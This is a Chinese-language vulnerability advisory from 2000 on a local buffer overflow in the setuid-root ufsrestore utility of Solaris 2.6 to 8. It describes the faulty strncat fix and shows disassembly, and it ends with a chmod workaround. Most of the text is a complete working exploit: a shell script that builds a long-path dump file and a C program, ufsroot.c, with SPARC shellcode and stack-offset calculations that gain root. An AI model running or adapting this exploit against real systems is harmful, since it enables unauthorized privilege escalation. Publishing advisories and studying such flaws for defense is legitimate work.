安全研究
安全漏洞
Solaris ufsrestore 本地缓冲区溢出漏洞
发布日期:2000-06-16
更新日期:2000-06-16
受影响系统:
描述:
Sun Solaris 8.0
Sun Solaris 7.0
Sun Solaris 2.6
Solaris 系统中带有一个文件系统工具ufsresotre,它主要是用来做一些归档和备份的工作。
缺省它被设置了setuid root,它存在一个缓冲区溢出漏洞,本地用户可能用来获取root权限。
问题出在试图阻止一个老的缓冲区溢出的代码中,在interactive.c中:
getcmd(curdir, cmd, name, size, ap)
char output[BUFSIZ];
....
(void) strcpy(output, curdir);
(void) strcat(output, "/");
(void) strcat(output, rawname);
canon(output, name, size);
很明显这里存在一个缓冲区溢出漏洞,Solaris采用了一个错误的方式来弥补这个漏洞,
从反汇编的结果可以看到:
0x00012538: add %fp, -0x404, %o0
0x0001253c: mov %l3, %o1
0x00012540: call 0x000c058c
0x00012544: mov 0x401, %o2
0x00012548: sethi %hi(0xd9c00), %g2
0x0001254c: add %fp, -0x404, %o0
0x00012550: stb %g0, [%fp - 0x4]
0x00012554: add %g2, 0x64, %o1
0x00012558: call 0x00099f34
0x0001255c: mov 0x401, %o2
0x00012560: add %fp, -0x404, %o0
0x00012564: mov %i3, %o1
0x00012568: stb %g0, [%fp - 0x4]
0x0001256c: call 0x00099f34
0x00012570: mov 0x401, %o2
这段代码相应的C代码可能象下面这样:
(void) strncpy(output, curdir, BUFSIZ);
output[BUFSIZ-1] = '\0';
(void) strncat(output, "/", BUFSIZ);
output[BUFSIZ-1] = '\0';
(void) strncat(output, rawname, BUFSIZ);
output[BUFSIZ-1] = '\0';
我们看到最后一个strncat可能导致缓冲区溢出。
<* 来源: Job de Haas (job@itsx.com) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/bin/sh
#
# ufsscript
# Job de Haas
# (c) 2000 ITSX bv
#
# Utility for creating a proper dumpfile to use with the ufsroot exploit.
#
# This utility should be run as root.
# /usr/lib/fs/ufs/ufsrestore has difficulties dealing with long pathnames.
# This script creates a long path a dumps it with /usr/lib/fs/ufs/ufsdump
#
/bin/rm -f /var/tmp/dumpufs
/bin/rm -rf /var/tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaa
cd /var/tmp
/bin/mkdir aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaa
cd aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaa
/bin/mkdir aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaa
cd aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaa
/bin/mkdir aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaa
cd aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaa
/bin/mkdir aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaa
cd aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaa
touch a
/usr/lib/fs/ufs/ufsdump f /var/tmp/dumpufs ./a
cd /var/tmp
/bin/rm -rf /var/tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaa
chmod a+r /var/tmp/dumpufs
============================= ufsscript.sh END ==============================
============================= ufsroot.c BEGIN ================================
/*
* ufsroot.c
* Job de Haas
* (c) ITSX bv 2000
*
* This program demonstrates an overflow problem in /usr/lib/fs/ufs/ufsrestore.
* The exploit requires a file called 'dumpufs' created with the accompanying
* 'ufsscript' in the directory /var/tmp. When successful it will execture the
* command '/bin/touch /tmp/root_was_here'. This demonstration has only been
* tested on sun4u Solaris 8.
*
* The problem is a programming error trying to fix an overflow bug.
* The relevant code probably looks something like:
*
* char output[BUFSIZ];
* ....
* (void) strncpy(output, curdir, BUFSIZ);
* (void) strncat(output, "/", BUFSIZ);
* (void) strncat(output, rawname, BUFSIZ);
* canon(output, name, size);
*
* This assumption is based on original restore source code as can been seen in
* http://www.FreeBSD.org/cgi/cvsweb.cgi/src/sbin/restore/interactive.c?rev=1.5
* and dissassembly of the relevant portion of /usr/lib/fs/ufs/ufsrestore.
*
* I toyed a bit with some code to position the shellcode at a well defined
* location, independent of the platform at run time. It does not work very
* well yet. No 64 bit detection yet and often exploits still need some tuning
* of frame pointers or registers anyway.
*
* cc ufsroot.c -o ufsroot
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/systeminfo.h>
#include <sys/types.h>
#include <sys/stack.h>
#include <procfs.h>
#include <fcntl.h>
#define PROG "/usr/lib/fs/ufs/ufsrestore"
#define SHELLCODE_OFFSET 60
#define FP_OFFSET 1280
char sparc_shellcode[] =
"EXPLOIT=xxxxxxxx"
"\x82\x10\x20\x17\x91\xd0\x20\x08\x9a\x03\xe0\x08\xda\x23\xbf\xf4"
"\x9a\x03\xe0\x13\xda\x23\xbf\xf8\xd0\x23\xbf\xfc\xd0\x2b\xe0\x12"
"\xd0\x03\xbf\xf4\x92\x23\xa0\x0c\x94\x23\xa0\x04\x82\x10\x20\x3b"
"\x91\xd0\x20\x08\x7f\xff\xff\xf3\x90\x1a\x40\x09\x2f\x62\x69\x6e"
"\x2f\x74\x6f\x75\x63\x68\x58\x2f\x74\x6d\x70\x2f\x72\x6f\x6f\x74"
"\x5f\x77\x61\x73\x5f\x68\x65\x72\x65\x00";
char pad1[] =
"PAD0001=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
char pad2[] =
"PAD0002=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
main()
{
char *args[4], *envs[5], prog[1024], platform[1024], pathpstatus[1024];
int argc, envc, len, len2, len3, fd, off, totlen;
pstatus_t pstatus;
u_long stacktop, stackstart;
pid_t pid;
int mypipe[2];
FILE *fp;
/*
* Try to estimate the stack accurately so we are independent
* of the platform and arch. No idea how good this all is cause
* I have limited test plaforms.
*/
if (sysinfo(SI_PLATFORM, platform, sizeof(platform))<0) {
perror("sysinfo");
exit(1);
}
realpath(PROG,prog);
args[0] = strdup("ufsrestore");
args[1] = strdup("if");
args[2] = strdup("/var/tmp/dumpufs");
args[3] = NULL;
len2 = strlen(platform) + 1 + strlen(prog) + 1;
len2 = (len2 + 3) & ~3;
pad2[ 243 - (len2 + strlen(sparc_shellcode) + 1) ] = '\0';
envs[0] = strdup(pad1);
envs[1] = strdup(sparc_shellcode);
envs[2] = strdup(pad2);
envs[3] = NULL;
len = 0;
argc = 0;
while (args[argc] != NULL)
len += strlen(args[argc++]) + 1;
envc=0;
len3 = 0;
while (envs[envc] != NULL)
len3 += strlen(envs[envc++]) + 1;
/*
* Try to calculate the proper lengths and sizes. Information on
* on this can (could) be found in /usr/include/sys/* . Still it is
* a bit of magic. Some things changed with sol 8 too. Again padding is
* used to create a predictable location of the shell code.
*/
envs[0][ 255 - (len + (argc + envc + 4) * 4)] = '\0';
/* calculate the offset of the shell code */
off = len + (argc + envc + 3) * 4 + strlen(envs[0]) + 1 + SHELLCODE_OFFSET;
len = ((len3 - ((argc + envc + 4) * 4) + 3) & ~3) + 4;
len += len2;
/* Calculate the total size of the data on the stack. SA is still arch
* dependent (32/64bit) so this part still needs to determine the correct
* size.
*/
totlen = SA(len + (argc + envc + 4) * 4);
/*
* Get the top of the stack. Didn't know how else to get it.
* The idea is you can compile the binary and use it on any arch.
*/
sprintf(pathpstatus,"/proc/%d/status",getpid());
if ((fd = open(pathpstatus, O_RDONLY)) < 0 ) {
perror(pathpstatus);
exit(1);
}
if (read(fd, &pstatus, sizeof (pstatus)) < 0 ) {
(void) close(fd);
perror("read");
exit(1);
}
stacktop = pstatus.pr_stkbase + pstatus.pr_stksize;
stackstart = stacktop - totlen;
(void) close(fd);
/* Create the pipe. */
if (pipe (mypipe)) {
fprintf (stderr, "Pipe failed.\n");
return EXIT_FAILURE;
}
/* Create the child process. */
pid = fork ();
if (pid == (pid_t) 0) {
/* This is the child process. */
close(STDIN_FILENO);
dup2(mypipe[0], STDIN_FILENO);
close(STDOUT_FILENO);
dup2(mypipe[1], STDOUT_FILENO);
close(STDERR_FILENO);
execve(prog, args, envs);
return EXIT_SUCCESS;
} else if (pid < (pid_t) 0) {
/* The fork failed. */
fprintf (stderr, "Fork failed.\n");
return EXIT_FAILURE;
} else {
/* This is the parent process. */
char buf[256];
unsigned long ptr;
/*
* Go into interactive mode with ufsrestore and go into the
* long path. Then give the 'x' command to force ufsrestore to
* return outof the command loop and at the same time overflow the
* path buffer.
*/
fp = fdopen(mypipe[1],"w");
fprintf(fp,"cd /var/tmp/a*/a*/a*/a*\n");fflush(fp);
sprintf(buf,"x ../../aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
ptr = stackstart - FP_OFFSET;
*(long *)&buf[strlen(buf)-33] = ptr;
*(long *)&buf[strlen(buf)-9] = ptr;
ptr = stackstart + off;
*(long *)&buf[strlen(buf)-5] = ptr;
fprintf(fp,buf);fflush(fp);
return EXIT_SUCCESS;
}
}
============================= ufsroot.c END ================================
建议:
临时解决办法:
chmod u-s /usr/lib/fs/ufs/ufsrestore
浏览次数:6428
严重程度:0(网友投票)
绿盟科技给您安全的保障